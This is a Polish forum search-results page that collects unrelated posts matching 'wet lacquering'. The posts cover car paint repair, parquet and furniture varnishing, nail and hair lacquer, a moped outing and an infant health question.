Wyniki wyszukiwania dla słów: lakierowanie na mokro

WGM kontratakuje.
Dziś (tj. 30.11) nastąpiło kolejne spotkanie WGM w troche ograniczonym
składzie. Generalnie jeździłem tylko ja i Icea, ale spotkaliśmy się także z
Filem i to u niego przeczekaliśmy deszcz (troche siapiło). Później wpadlismy
do Maca w Wesołej i po posileniu sie ja i Icea udaliśmy się bijąc po drodze
wszelkie rekordy prędkści zarezerwowane dla 50 (70 jak na Jawkę to trochę
dużo) na poligon w Sulejówku. Tam spedzilismy około godziny i około 16.00
postanowilismy wracać do domu. Powrót odbył się nie lepszymi drogami. Tzn.
dzięki Icea'emu mogłem poczuć się jak lokomotywa parowa jadąc po torach
(skróty) do wiaduktu). Potem juz prosto do domów. W między czasie zaliczyłem
jeszcze małą utarczke z krewkmi właścicielem poldka, który przy wyprzedzaniu
przy około 6 dyszkach minął mnie na grubość lakieru. Ja nie pozostając dłużnym
na następnych światłach zapukałem mu "delikatnie" w szybę, na co on zareagował
goniąc mnie do najbliższych świateł gdzie udało mi się go zgubić.

Wg. mojego zdezelowanego licznika zrobiliśmy ok. 70 km. Nie wiem jak te trudy
wytrzymała jawka, ale nie było z nią większych problemów. Pogoda też nie była
zła poza tym, że drogi były mokre (nareszcie zrozumiałem co to znaczy uślizg
na przejeździe kolejowym).

Pomyslicie, że co to za filozofia przejechać 70 km, ale biorąc pod uwagę
warunki pogodowe, wiek mojego sprzeta i teren w jakim przyszło nam jeździć
(poligon) był to wypad obfity w fajerwerki.

Niestety nie ma materiałów zdjęciowych.

Przynajmniej część WGM stawi sie w 2oo 6.12


gesty sluz w nosku i inne objawy zerknijcie help!
jestem tu nowa zalamana i nie wiem od czego zaczac mala ma gesta wydzieline
ktora ja czasem przydusza w nosie splywa jej do gardla mala czesto wtedy
kaszle na mokro oddsysam ja frida i jest na jakis czas ok ale ostatnio doszly
lakierowane czerwone policzki dziwne kupy odparzajace pupe plama na posladku
i lekko szorstkawe lokcie reszta ok
pilysmy do niedawna bifidus z nana ale odstawilam i teraz nan HA jest lepiej
ale odstawilam tez jablko i marchew bo sa podejrzane i chyba slusznie bo maz
omylkowo podal malej risotto z marchewka hippa i mala zwymiotowala wieczorne
mleko i bylo tam pelno wogole niestrawionej marchewki
powiedzcie czy mam sie martwic tym sluzem co to moze byc pewnie alergia ale
na co co mam obserwowac i czy mam zmienic mleko i co jeszcze
wyeliminowac ??????????

Na moje oko to sa lata 20 - produkcja przemyslowa.
Ile warte? Nie jestem ekspertem ale moze moze ze 2 tys.
Jak oczyscic? Umyc mokra szmatka z brudu.Jesli ma plamy wyczyscic je albo
specjalnym preparatem do plam ,są takie w np Leroi Merlin albo lekko przetrzec
drobnym papierem sciernym, jesli sie decydujesz porzadnie to odnowic.Nastepnie
kup politure - tez polecam Leroy bo widzialam ze maja i przepolituruj.Nie uzywaj
Bron Boze zadnych lakierow bo zmarnujesz mebel.Szklo umyj srodkiem do okien albo
woda z octem. A ! korniki.Najpierw je zalatw.Tez sa preparaty. Jesli nogi sa
zjedzone kiedys sie wstawialo je do misek i mebel pil preparat.Ja wstrzeliwalam
w dziurki plyn tak( strzykawka) ze wyladowalam na pogotowiu z plynem w
oku..Korniki przzyly.Po wielu latach zycia z kornikami doszlam do wniosku ze i
tak nie sa w stanie zezrec mebla.Do konca.Gorsze bydle to spuszczel.Tego lobuza
trzeba tepic bezlitosci.Wiec kup co dostaniesz i przed akcja z politura zamorduj
robaki.A potem szpachelka i kitem do drewna zatrzyj dziury. Pa

Gość portalu: pawka napisał(a):

> Dobre do kurników i mokrej produkcji. Ponadto firmy wymieniające okna robią
> największą demolkę w wyglądzie zabytkowych kamienic w centrum Krakowa i nie
> tylko (z nielicznymi pozytywnymi przykładami). Nadzór budowlany śpi (nie ma
kim
>
> robić). To pan Józio najlepiej doradzi jak ma wyglądać okno. Sąsiadowi pan
> Franio. Zanim zbierze się "masa krytyczna" kontestujących ten chaos, będzie
za
> późno. Ja mam 105-letnie okna. sześć lat temu odnowiłem je i do tej pory nie
> muszę ponownie malować. Wyglądają świetnie i są oryginalne, a mówiono mi, że
z
> nimi już nic nie da się zrobić. Dlaczego nic nie słyszę o firmach
renowujących
> stare okna? Byłoby to z korzyścią dla środowiska, dla firm (większy udział
> robocizny, a mniejszy importowanych materiałów), oraz dla kultury
materialnej.
> Przecież nie wszystkie to tandeta typ "szwedzki".

Okna PCV - wejdz np na strone www.rehau.pl są w wersjach dla zabytkowych
kamiennic 9z rzeżbionymi elementami) to po pierwsze

Po drugie to drewniane nie są ekologiczne - bo jest w nich kupa impregnatów
klejów lakieru - co wydziela trujące opary jak się spala (PCV się nie pali
lecz Topi)

Po trzecie - nie masz pojęcia o oknach- 100 % okien jest produkowane w
Polsce - nie ma importu podzespołów - profil jest tłoczony w Polsce, i okucia
też są robione u nas - (nie ma importu!!!) - fakt Ci co mówią że okna są
niemieckie - kłamią


Heloł
Mac o tych kredkach to różne rzeczy już słyszałem. Od tego, że to jedno wielkie
g... po to że są super.
Nie spodziewaj się dużych i trwałych na lata efektów. Zaszkodzić nie zaszkodzą -
możesz spróbować. Najpierw kredka potem delikatna polerka, żeby ewentualną
różnicę w odcieniu wygładzić.
Pasta polerska też może być różna. Ja osobiście polecam m-ki Farecla. Jest
łagodna i dużo się trzeba napracować (szmatka flanelowa na mokro) by były
efekty ale przynajmniej lakieru nie zniszczy po paru pociągnięciach szmatką.
Powodzenia w kredkowaniu i pastowaniu. Daj znać jakie efekty.
Pozdrawiam
orion

Namoczyc porzadnie woda (mozesz polozyc mokry recznik) - chodzi o
zmiekczenie "zwlok", a do tego trzeba czasu. Pozniej szorowanie/zmywanie miekka
gabka z szamponem samochodowym, czeste splukiwanie (jak najwiecej wody).

Jak bys sie nie staral, prawdopodobnie zetrzesz troche lakieru. Wtedy nic tylko
delikatne pasty polerskie, aby wyrownac powierzchnie i zakonserwowac. Ja uzywam
TurtleWax - BugRemover jest raczej slaby, ColorBack lepszy. Zalaczam adres
strony: www.turtlewax.com.pl/woski_i_regeneratory.html

Aha - na koniec pelne mycie wozu i nalozenie wosku na cala karoserie.

Powodzenia :-)

Tak naprawdę,to jeszczwww.ms-design.com/carx1ms1_1.icc?
lang=en&cty=Array&car=322&id=&start=0j szyby nie wymieniłem.Mam na piśmie
zagwarantowaną bezpłatną wymianę.Ale mam opory,bo boję się że po wymianie auto
może przeciekać.Coś takiego przytrafiło się koledze.Wymienił szybę w swoim
Mercedesie E klasy i przy poważnej ulewie miał mokry dywanik od strony pasażera.
Na dodatek uszkodzili mu lakier podczas odcinania starej szyby.Zrobił wielką
rozpierduchę.Musieli jeszcze raz wklejać szybę i lakierować uszkodzone miejsce
na podszybiu.Swoją drogą ciekawi mnie jak oni odklejają starą szybę?
Nie chciałbym aby mi w Audicy uszkodzili cokolwiek.

Preparat przyspieszający wysychanie lakieru
Mam lakier Nailwear, kolor chyba Delicate jak dobrze pamiętam, i niestety nie uzywam go....... bo trzeba nałożyc kilka warstw zeby go bylo widac, inaczej sa brzydkie smugi....poza tym POWOLI WYSYCHA!!! raz po pomalowaniu schnął na moich paznokciach prawie 3 godziny i nadal był MOKRY!!!

biale wykwity na drewnianym stole
Posiadam drewniany stol od 3 lat. Czasami zdarza sie,
ze ktos postawi mokra lub goraca szklanke na stole. Od
pewnego czasu zaczely wychodzic spod lakieru takie
biale plamy, ktorych niczym nie moge zmyc. Jesli ktos
wie w jaki sposob mozna sie ich pozbyc, to bardzo
prosze o odpowiedz.

To co ja mam zrobic, kurka? Parkiet byl kupiony i lezal sobie w pomieszczeniu
gospodarczym przez jakies 2 miesiace. Przykryty tak jak kazal producent. Potem
panowie weszli, ulozyli, poczekali 2 tygodnie, wycyklinowali i pomalowali...
domaluxem 2 razy. I tyle. W sumie parkiet prezentowal sie niezle, ani jednej
szczeliny.

Czy mozesz mi dokladnie wyjasnic mechanizm wg ktorego niezbyt dobrze wysuszony
parkiet kurczy sie na zimnie i powstaja szpary? Bo ja nie bardzo rozumiem.
Myslalam, ze to normalne, ze drewno pracuje, tak jak kazdy material, gdy jest
cieplo rozszerza sie, gdy zimno - kurczy. Zmiana temperatury byla znaczna i co
najwazniejsze nagla, wobec tego parkiet sie skurczyl, spojenia lakieru na
stykach po prostu puscily. Ale co do tego ma to, czy prakiet byl dobrze czy zle
wysuszony? Myslalam, ze to jedynie moze miec efekt taki, ze jak wlacze
ogrzewanie to parkiet wyschnie i wtedy pojawia sie szpary. Ale one nie pojawily
sie w wyniku wysychania, tylko OZIEBIENIA parkietu (a wiec stawiam, ze to
jednak kurczliwosc materialu). Chyba, ze parkiet zle wysuszony po prostu jest
bardziej podatny na kurczenie/wysuszanie - czy tak?

Tak czy siak, gdyby nie to, ze oni te okna powyciagali to przeciez parkietowi
nic by sie nie stalo, tak? A wiec jednak to ICH wina, ze to sie stalo, bo
powinni wiedziec, ze cos takiego moze sie z parkietem dziac - nie wierze, ze
jestem jedyna osoba, ktora polozyla mokry parkiet.

Prosze wyjasnij mi... Aha. I please powiedzie mi co teraz mam zrobic. CZym
zaszpahlowac, jak, i czy pozniej jeszcze raz lakierowac?

> Ależ mnie nie o to chodzi, czy tam będziesz zaglądał, czy nie.
> Nawet jeśli nie zaglądasz, to w mieszkaniu zawsze jest kurz (teraz zima, więc
> muszek nie ma).
> Jeśli lakier schnie ci dobę, to twale przzyklei sie do niego 24 razy więcej
> kurzu, brudu i innego świństwa, niż do takiego, który schnie 60 minut.
> To twoja podłoga i twoje mieszkanie, więc rób jak uważasz.
> Ale wiedz, że ja dobrze ci radzę. I nie jestem żadnym akwizytorem, czy
> sprzedawcą lakierów "ekologicznych". Po prostu w tym roku lakierowałem sam
> podłogę i wiem, jak łatwo do mokrego lakiery przyczepiaja się wszelkie kłaki.
> Jednocześnie wielu osobom tu (i w realu) polecałem właśnie lakiery Bona i
> wszyscy byli zachwyceni efektem.

Myślę, że te 24 razy to troszke naciągane :-)

> Na tym forum, czy w forum "DOM" zapewne znajdziesz wiele obinii negatywnych
> własnie o Domaluksie, a jeśli znajdziesz choć jedną złą opinie o lakierach
> Bona, to stawiam ci koniak.

Nie prowokuj mnie bo google duuużo potrafi :-)

> Listwy przypodłogowe juz przybiłes, więc trudno. Musisz teraz bawić się w
> obklejanie i precyzję. Znaczy, nie ty, tylko malarz i lakiernik.
> Jak bedzie po wszyskim, to napisz jak wyszło.

Do malowania sam dołożę swoją rękę więc postaram się, żeby było to zrobione z
zegarmistrzowską precyzją

pozdrawiam
Antek

> Cześć,
> Mam pytanie ile powinno być halogenów (220 V) dla prawidłowego oświetlenia
> dwóch pomieszczeń.
> Pierwsze pomieszczenie to łazienka 2.63m na 1.90m

ja mam identyczną łazienkę, rozplanowałem 6 halogenów 50W / 230V (nie wiem czy
nie za mocne, w razie czego wlożę 35W lub 20W) oraz dodatkowe oświetlenie przy
lustrze.

> Drugie to ubikacja 1m na 1.85m.

Nie wiem, może 3 szt

>
> Kolejne pytanie, czy halogen może być umieszczony nad brodzikiem?
> Pozdr.
> Marcin

Halogen w łazience powinien być zasilany napieciem 12V - względy
bezpieczeństwa, wymiana żarówki pod napięciem 230V w teoretycznie mokrym
pomieszczeniu stwarza zagrożenie, można sobie z tym poradzić wymieniając
halogen... przy wyłączonym świetle ;-)

Powinien być to halogen z serii np. AQUA przeznaczony do tego typu
zastosowania, ale ja mam u siebie zwykły halogen 230W taki jak wszystkie inne.

Te specjalne różnią się sposobem lakierowania (nie są wodoszczelne!) i są
pioruńsko drogie. Widziałem takie zwykłe halogeny po 5 latach użytkowania nad
brodzikiem - nie widać śladów zniszczenia czy rdzewienia.

Zero chemii tylko opalanie. Zrobiłem kilkadziesiąt okien i kilkadziesiąt drzwi z
framugami a niemcy lubią różne fikuśne kształty, więc było roboty. Próbowałem
tez chemii i jak ktoś wcześniej napisał bierze tylko pojedyńcze warstwy. Jest
możliwość ( w niemczech) całkowitego zanurzenia drzwi w ługu czy czymś podobnym
ale wpływa to na jakość połączeń w drzwiach. Może się zdarzyć że się wypaczą
albo lekko rozkleją. To jednak szybsza metoda. Przy oknach, trzeba uważać na
szybę bo lubi pękać, najlepiej użyć mokrego ręcznika kładąc lekko zrolowany na
szybę lub posłużyć się jakimś kawałkiem blachy. Co do samej opalarki trzeba ją
trochę wyczuć, musi miec dwia biegi, nie za mocna bo będzie palić, nie wolno za
długo przytrzymywać w jednym miejscu. Opalanie to nie wszystko, jeśli chcesz je
lakierować lub lazurować to podstawą jest szlifowanie. Zależy od farby jaką były
pokryte, od samego drewna. Może być bardzo żywiczne i trzeba często zmieniac
papier. Najlepiej zacząć od 40 potem 60,80,120. 60 na początek bedzie za słaba.
Potrzebna ci jeszcze szlifierka i duuużo cierpliwości i czasu, maseczka na twarz
bo będzie pylić przy szlifowaniu i można startować. Jest do zrobienia. Pozdrawiam

poprawka
macie racje zapomniałam o powierzchni szafy, przeciez może byc sliska
ale nic trudnego ta co pisałam potwierdzam, od lat maluję meble i je oklejam
wiec wiem co pisze , co do powierzchni to jesli jest to politura wystarczy
przetrzeć ją papierem sciernym a nastepnie umyc ludwikiem i odtłuścić
denaturatem- ale jesli nie chcemy zniszczyc mebla na stałe to proponuje samo
umycie i odtłuszczenie. a co do nasiąkania gazet, to nie tapeta aby czekac aż
weżmie klej, smarujemu (cienko)i od razu przyklejamu, w niektórych miejscach
mokra zacznie przebijac ale jak wszystko wyschnie będzie oki, co do lakieru tez
kładziemy cienko i nawet jak gdzieś nie dociągniemy to nie poprawiać bo
przemoczymy gazete, poprawimy druga warstwą

czym myc parkiet lakierowany?
witajcie,
czym najlepiej myc, na codzien pielegnowac parkiet debowy, lakierowany? poki
co przecieram mokra szmatka z odrobina plynu do podlog (zwykly uniwersalny
ajax). Czy moze lepiej sama woda? a moze specjalnymi preparatami?
dzieki za porady.

Są preparaty chemiczne do usuwania lakieru - nigdy ich nie stosowałem, więc nie
wiem jakie i jaki efekt barwienia jest po ich użyciu.
Są szlifierki:
- rotacyjne (także nasadki na wiertarkę - najtańsze), kółko na którym mocuje się
papier. Niestety zostawiają rysy poprzeczne do włókien drewna i potem trzeba się
namęczyć, żeby je zlikwidować.
- oscylacyjne (również nasadki na wiertarkę), szeroki "bucik", który wyszlifuje,
jak wyrówna sobie powierzchnię. Bardzo pracochłonne i drga niemiłosiernie.
- taśmowe (drogie), można szlifować wzdłuż włókien. Na końcu i tak Cię czekją
poprawki szlifowania ręcznego
Cyklina (na lakierze szybko się tępi i trzeba często umiejętnie ostrzyć, albo
wymieniać żyletki), a później papier ścierny.
Wykończenie powierzchni pod lakier: papier 80 lub 100, potem 150, potem 180.
Zwilżyć mokrą szmatą i po wyschnięciu delikatnie zebrać sterczące włókna 180 lub
200. Wszystko wzdłuż włókien.
Po wyschnięciu 1 warstwy lakieru, przeszlifować 200. Pomalować jeszcze raz... i
po robocie.
Uff.

Kilka reflekcji.
Przepisy jakie obowiązują przy wydawaniu prawa jazdy są nieżyciowe w aktualnej
rzczywistości jaka istnieja w stanie technicznym dróg i ulic!
Każdy młody kierowca (nie tylko wiekiem) powinien przechodzić szkolenie w
jeżdzie w bardzo trudnych warunkach jazdy pod nadzorem instruktora. Jazdy
miałyby na celu nauczenie "małolata" jak jechać na mokrej, zdewastowanej,
zaśnieżonej, zapylonej (piach kurz, liście itp.) nawierzchni.
Następnie samochody jakie prowadzą młodzi kierowcy (przez np. 2 lata) powinien
być oznakowany dużym emblematem (symbol do zaproponowania na drodze
administracyjnej). Symbol musi być widoczny z daleka, żeby było wiadomo z jakim
kierowcą mamy do czynienia.
Należy zrezygnować z tzw. pachołków na egzaminie, bo są ważniejsze problemy niż
otarty zderzak czy drzwi. W całym cyklu szkolenia powinno chodzić o
bezpieczeństwo, o zdrowie, o życie, a nie o kawałek otartego błotnika, zderzaka
czy lakieru.
Logiczne, że część kosztów szkolenia kierowców powinny ponosić rejony dróg
publicznych różnych szczebli - bo tam w bardzo dużym stopniu nalezy upatrywać
winnych wypadków.
Corazwięcej ciężkich wypadków drogowych to w dużej mierze efekt złej technologii
budowy dróg, rozjeżdżania dróg przez ciężkie i przeładowane samochody ciężarowe,
brak radykalnych działań w kierunku wprowadzenia przewozu ciężarówek
(szczególnie w ruchu tranzytowym i międzynarodowym) na specjalistycznych
platformach kolejowych. Brawura, brak wyobraźni i powyższe przyczyny w bardzo
sktótowym rozważaniu są powodem zatrważającego wzrostu wypadkowości i coraz
poważniejszych jego skutków.

W kwestii kolejnosci to z doswiadczenia kolezanki, ktora projektuje wnetrza i
nadzoruje ich wykonanie:
1. pierwsze malowanie (1 warstwa)
2. glazura, terakota itp. "mokre roboty"
3. podlogi drewniane - ukladanie, lezakowanie, olejowanie (gdzies jeszcze
cyklinowanie ;-)
4. ostatnie malowanie (druga warstwa).
Co do olejowania - bardzo mi sie podoba, nie wiem jak w dluzszym uzytkowaniu.
Wazne, ze podloge polakierowana mozna po cyklinowaniu olejowac ale w druga
strone to nie dziala. Jak sie poolejuje to juz raczej nikt nie podejmie sie po
cyklinowaniu polozenia lakieru.
Co do fug, wszyscy proponuja chociaz minimalna (podloga pracuje), wiec my taka
wlasnie zrobimy.
Pozdrawiam
Malgos

nie usuwam mebli, olejowana byla przed ustawieniem, a raz na miesiąc konserwuje
sie po to, zeby warstwa oleju była tam, gdzie sie najbardziej uzywa, nie
czołgam się pod szafkami:)))) Jeśli chodzi o wygląd i różnicę olej czy lakier
to zapewniam Cię, że jest kolosalna ale to najlepiej zobaczyć idąc do sklepu
gdzie pokazą Ci deskę pół lakier pół olej i wtedy to najlepiej widać, więc
mówienie, że wygląda tak samo to chyba nieprawda. Nawet nie wygląda
podobnie!!!!! Dziś miałam mały test, zostawiłam otwarte okno dachowe na cały
dzień, padał spory deszcz, podłoga została zalana, wytarłam i na ścierce
została warstwa oleju, podłoga została nietknięta, mokrych plam nie ma. A na
podłodze lakierowanej po pewnym czasie tam gdzie została naruszona struktura
lakieru robi się plama i podłoga nasiąka wodą. Ponadto sznaowny vampirze, Ty za
3 lata chcąc utrzymac swoją podłogę ładną, wezwiesz fachowców z cykliniarka i
będa 3 razy cyklinowali i 3 razy lakierowali a Ty będziesz musiał się wyniesc z
domu, ja co miesiąc a potem co 3 potańcze z mopem przy okazji mycia i zaręczam
Ci, że nie będe miała wytartego kawałkami lakieru na podłodze co już
przetestowałam w poprzednim mieszkaniu na lakierowanym na półmat jesionie,
gdzie jak wylał mi się sok pożeczkowy na podłogę w miejscu gdzie lakier był
nieco cieńszy od uzywania i wycierania to została czerwonawa plama w zasadzie
nie do usunięcia. Ale to moje zdanie..czekam na opinię innych:)))
Pozdrawiam
K.

Syn szwagra miał wtedy 3-4 lata, bawił się przed domem i niewiadomo skąd
znalazł małego kotka. Było akurat po deszczu i samochód jego taty był mokry,
wiec mały postanowił go osuszyć przy pomocy tego kotka...Efekt: mocno
porysowana maska samochodu, kilka zadrapań na bagażniku i kupa kasy wydana na
lakierowanie :)

nie należy:
- przejeżdżając obok wolnego miejsce na parkingu patrzeć, szacować i
zastanawiać się 'czy ja się tam zmieszczę' zbyt długo. (Ależ Panie Władzo, ja
naprawdę nic nie piłem...)
- wycierać mokrą szmatką żarówek we włączonym długo żyrandolu (bo takie
zakurzone są.... eksplodują wielkim BUM!)
- stawać okrakiem nad leżącym dużym psem, nie będąc pewnym czy aby ktoś za
chwilę nie zadzwoni do drzwi (może boleć)
- wybiegać spod prysznica, mokrusieńkim do dzwoniącego telefonu, szczególnie
gdy trzeba przebiec po kafelkach lub lakierowanej podłodze (może bardzo boleć)
- drażnić się z wiewiórką, która wbiegła Ci na ramię, pokazując jej i chowając
na przemian orzeszka (wiewiórki mają naprawdę ostre zęby!)

jak mi się jeszcze cos przypomni - dam znac :)

> Witam!! Jeśli się nie mylę nasz blok stoi już dobrych kilka lat >trudno aby taki kolor posadzki wyglądał tak jak na początku

Zgadzam się, że trudno, ale wystarcza regularnie i porządnie ją myć, by okazało się, że utrzymanie koloru jest jednak możliwe. W zeszłym tygodniu wydawało mi się, że wymieniono nam na klatce płytki, ale sąsiedzi powiedzieli mi, że po prostu zostały wreszcie porządnie wymyte. Płytki znów są jasne i znikły nawet dotąd uznawane za nieusuwalne mazaje prawdopodobnie z lakieru. Myślę, że to zasługa tego forum, i eksperymentu jogurtowego, dzięki któremu administracja dowiedziała się, że to, czego nie dokonał mokry mop można było osiągnąć za pomocą odpowiedniego detergentu i szmaty.

A te dobre kilka lat, to raptem 6 i miałyby jakiekolwiek znaczenie, gdyby chodziło o mechaniczne wycieranie się płytek, a nie o nawarstwianie brudu, który nie jest należycie usuwany.

E tam zaraz gwozdz to trumny. Takie lakierowane to male piwo, bierzesz szeroka
plaska myjke ze specjanego wlokna, ktore u nas nazywa sie mirakel (cud) i
zasuwasz na mokro albo sucho nastawiajac odpowiednia muzyke na caly regulator.
Koty z kurzu zbieraja sie w rogach ,przy scianach i barierce od schodow.Jak
maja przyjsc goscie ,to czasem starczy te kanty przeleciec i blyszczy sie...
W polsce to slynne pastowanie na okraglo, to byl gwozdz to mojej trumny.Potem
froterowanie, a potem wszyscy nawet niektorzy goscie musieli jezdzic na
suknach, bo moja mamusia musiala miec niezkazitelna podloge i miala trzy corki
od tego.
Trzymajcie sie... )))

No dobra- teraz pytanie z puli dodatkowej.
Odciąłem tą dłuższą część od tykwy, zostawiając sam 'balon'. Chcę zrobić
naczynie do Yerba Mate. W chwili obecnej tykwa jest trochę podsuszona od
zewnatrz, ale nasiona i miąższ na ściankach w środku- jak najbardziej mokry. jak
teraz suszyć to naszynko. Czy miąższ później odejdzie przy drążeniu, czy lepiej
zająć się tym teraz? Trochę trudno zdroapać to ze scianek (jakim narzedziem).
Potem- jakiego lakieru (jeśli wogóle) użyć do polakierowania tykwy?
Pozdrawiam.

rozkręć rower, zmatuj bardzo drobnym papierem na mokro ramę , odtłuść dokładnie
rozpuszczalnikiem , pozaklejaj dokładnie taśmą wszystkie "dziury" i udaj się do
zakładu lakierniczego.Koszt nie powinien być wysoki , a jeżeli lakiernik zrobi
to przy okazji lakierowania jakiegoś auta w tym samym kolorze to nawet bardzo niski.
W sklepie rowerowym widziałem nawet niedawno nalepki firmowe producenta rowerów,
więc po całej operacji nikt nie pozna ,że to nie oryginał.

Kiepska (gówniana) sprawa. Ptasie gówno (dlatego, ze ptaki mają wspólny otwór
do moczu i kału i robią od razu komplet) zawiera sporo amoniaku i kwasu
moczowego - substancje dosyć silnie dzialające powierzchniowo. Kilka godzin
takie gówno sobie poleży na lakierze (niezależnie od rodzaju i marki lakieru -
choć metalik jest bardziej wrażliwy) i go matowi. Nic z tym już nie zrobisz :(((
Można ewentualnie polerować - ale jesli to nowy lakier, to szkoda to robić.
Rada na przyszłość - zmywać gówno od razu i to na mokro.

Pozdrawiam

von-koza napisał:

> Kiepska (gówniana) sprawa. Ptasie gówno (dlatego, ze ptaki mają wspólny otwór
> do moczu i kału i robią od razu komplet) zawiera sporo amoniaku i kwasu
> moczowego - substancje dosyć silnie dzialające powierzchniowo. Kilka godzin
> takie gówno sobie poleży na lakierze (niezależnie od rodzaju i marki lakieru -
> choć metalik jest bardziej wrażliwy) i go matowi. Nic z tym już nie zrobisz :((
> (
> Można ewentualnie polerować - ale jesli to nowy lakier, to szkoda to robić.
> Rada na przyszłość - zmywać gówno od razu i to na mokro.
>
> Pozdrawiam

No wlasnie polerowalem. Kupilem nawet w OBI taka specjalna polerke. Pisalo ze do
wszystkich typow lakierow. Ale jest jeszcze gorzej! Zrobily sie glebokie rysy i
widac to nawet z daleka. Zaluje, ze w ogole zaczalem to robic. Trzeba bylo
przebolec te kilkaset zl i oddac do lakiernika. I co teraz bedzie. Czy strace
gwarancje na lakier?

Gość portalu: krakus napisał(a):

> von-koza napisał:
>
> > Kiepska (gówniana) sprawa. Ptasie gówno (dlatego, ze ptaki mają wspólny ot
> wór
> > do moczu i kału i robią od razu komplet) zawiera sporo amoniaku i kwasu
> > moczowego - substancje dosyć silnie dzialające powierzchniowo. Kilka godzi
> n
> > takie gówno sobie poleży na lakierze (niezależnie od rodzaju i marki lakie
> ru -
> > choć metalik jest bardziej wrażliwy) i go matowi. Nic z tym już nie zrobis
> z :((
> > (
> > Można ewentualnie polerować - ale jesli to nowy lakier, to szkoda to robić
> .
> > Rada na przyszłość - zmywać gówno od razu i to na mokro.
> >
> > Pozdrawiam
>
> No wlasnie polerowalem. Kupilem nawet w OBI taka specjalna polerke. Pisalo ze
d
> o
> wszystkich typow lakierow. Ale jest jeszcze gorzej! Zrobily sie glebokie rysy
i
> widac to nawet z daleka. Zaluje, ze w ogole zaczalem to robic. Trzeba bylo
> przebolec te kilkaset zl i oddac do lakiernika. I co teraz bedzie. Czy strace
> gwarancje na lakier?

Na ten element pewnie tak :(
Zostaw tak jak jest i się nie przejmuj tym dalej, samochód to nie choinka.

Pozdrawiam

Hej! Uzywam cieni do powiek i jestem raczej zadowolona( raczej, bo jestem
bardzo wymagajaca a do tej pory nieznalazlam jeszcze nic co by mi naprwde
odpowiadalo, a wyprobowalam juz prawie wszystko). Sa aksamitne,ladnie sie
rozprowadzaja,sa w fajnych kolorkach, a te wodoodporne mozna nakladac na mokro -
uzyskuja sie wtedy inne efekty( przeczytlam gdzies kiedys, wyprobowalam i
dziala).Uzywam tez eyelinera - bardzo go sobie chwale. Nie polecam natomiast
lakierow do paznokci- dlugo schna albo rozprowadzaja sie mizernie.
Pozdrawiam!

kiedy mialam jeszcze dlugie wlosy krzys po strzyzeniu i czesaniu utrwalil mi
fryzure lakierem keune i tlumaczyl,ze lakiery z marketow to lakiery mokre a ten
jest lakierem suchym .i rzeczywiscie,fryzura byla po nim utrwalona ale zupelnie
bez skorupy na wlosach.lakieru od dawna juz nie stosuje ale gdybym miala jakis
kupic to na pewno ten.

pozdrawiam.s.

Zawsze mam pod ręką:

1. balsam do ust Tisane
wspaniały, oprócz zbawiennego działania dla ust, dobry również na skórki przy
paznokciach

2. żel ze świetlikiem i chabrem Flos Lek
ulga dla przemęczonych, "klejących się" oczu. latem trzymam w lodówce:)

3. utwardzacz lakieru Bell,
przedłuża życie lakieru nawet do kilku dni

4. błyszczyk Diadem - odcień 07
półprzezroczysty, daje naturalny efekt "mokrych ust", dobrze się trzyma
polecam również odcień 14 - jasnoróżowy, lekko łososiowy. Inne kolory już nie
zachwycają

Dokladnych cen nie pamietam, ale z pewnoscia mieszcza sie w ustalonych granicach

"SZKLANY" BLASK DLA UST I PAZNOKCI - JAK??
Jakie kosmetyki dają w miare trwały " szklany" , "mokry" blask ? jakiś
lakier, utrwalacz lakieru do paznokci? a co na usta? nie chodzi mi raczej o
coś z błyszczącymi drobinkami tylko o bardzo błyszczący jednolity efekt
takiej "wodnej"/"szklanej" powłoki.
oj, trudno mi to wytlumaczyc ;)

Gość portalu: triss napisał(a):

> Jakie kosmetyki dają w miare trwały " szklany" , "mokry" blask ? jakiś
> lakier, utrwalacz lakieru do paznokci? a co na usta? nie chodzi mi raczej o
> coś z błyszczącymi drobinkami tylko o bardzo błyszczący jednolity efekt
> takiej "wodnej"/"szklanej" powłoki.
> oj, trudno mi to wytlumaczyc ;)

Jeśli chodzi o usta to polecam Lip Glass firmy MAC. Wktótce ma wejść na rynek
polski. Nie ma niczego lepszego - efekt wilgotnych ust utrzymuje się cały dzień.
www.maccosmetics.com/templates/products/sp.tmpl?
CATEGORY_ID=CATEGORY15112&PRODUCT_ID=PROD1384

w ulotce powinno byc napisane na jakie włosy, mokre czy suche. generalnie
lepiej farbuja sie włosy niemyte. chyba ze używasz pianek, lakierow do wlosu,
żelu i innych upiekszaczy. wtedy lepiej je umyc, nie klasc niczego z tych
rzeczy i zafarbowac nastepnego dnia.
ja zawsze klade farbe na włosy niemyte, suche

zakładam, że będzie ciężko bez lakierowania. Jeśli są to wżery powierzchowne to
może polerka wystarczy. Najpierw należy na mokro zmatować papierem wodnym 2000
miejsca gdzie są wżery potem poprawić jeszcze 2500 i polerka maszynowa z pastą
lekko ścierną np Farecla G3. Trzeba uważać przy matowaniu by się nie przeciąć -
dlatego z wyczuciem....

człowieku przecież nie lakierujesz samej ryski!!! matujesz całe drzwi,
podkładujesz miejsce gdzie była ryska, rozcieniowujesz lakier bazowy tam gdzie
podkład na strefe nieuszkodzoną i całe drzwi lakierujesz lakierem bezbarwnym.

Zużyte materiały to:
- papier 220 na maszynke
- papier 360 na maszynkę
- taśma do oklejania
- papier do oklejania
- folia do oklejania
- zmywacz do silikonu + papier do przecierania
- ściereczka antystatyczna
- podkład + utwardzacz
- puder kontrolny
- papier 800 na mokro
- papier 1000/1200 na mokro
- szara włóknina do matowania
- woda
- pasta do matowania
- ponownie taśma, papier do oklejania, folia, przemywanie zmywaczem
antysilikonowym + ściereczką antystatyczną)
- lakier bazowy (czyli taki jaki jest kolor na samochodzie)
- rozcieńczalnik do bazy
- lakier bezbarwny + utwardzacz (na całe drzwi)
- rozcieńczalnik do lakieru bezbarwnego
- nitro
- papier 2000/2500 + woda
- pasta g3 do polerki maszynowej
- politura ręczna lakierowanego elementu

+:
- prąd
- gaz
- ropa na ogrzanie kabiny
- światło

i pewnie jeszcze kilka innych, o których zapomniałem...

także 450 zł za element to jest naprawdę cena niewygórowana (większość w tej
cenie to są koszty materiałów)

wiem,że zapach lakieru potrafi być okropny, ale czymś to trzeba polakierować.
Ja w przeciwieństwie do Twoich sąsiadów sama położyłam mokrą szmatę pod drzwi.
Niewiele wiecej mogłam zrobić. A i tak usłyszałam parę niesympatycznych uwag.
Zgadzam się w 100%, ze innym należy się odrobina spokoju.Chodzi mi tylko o to,
że mieszkając w tak dużej społeczności nie można oczekiwać, że będzie jak w
zacisznym domku z ogródkiem. Oczywiście nie mówię o tych wszystkich skrajnych
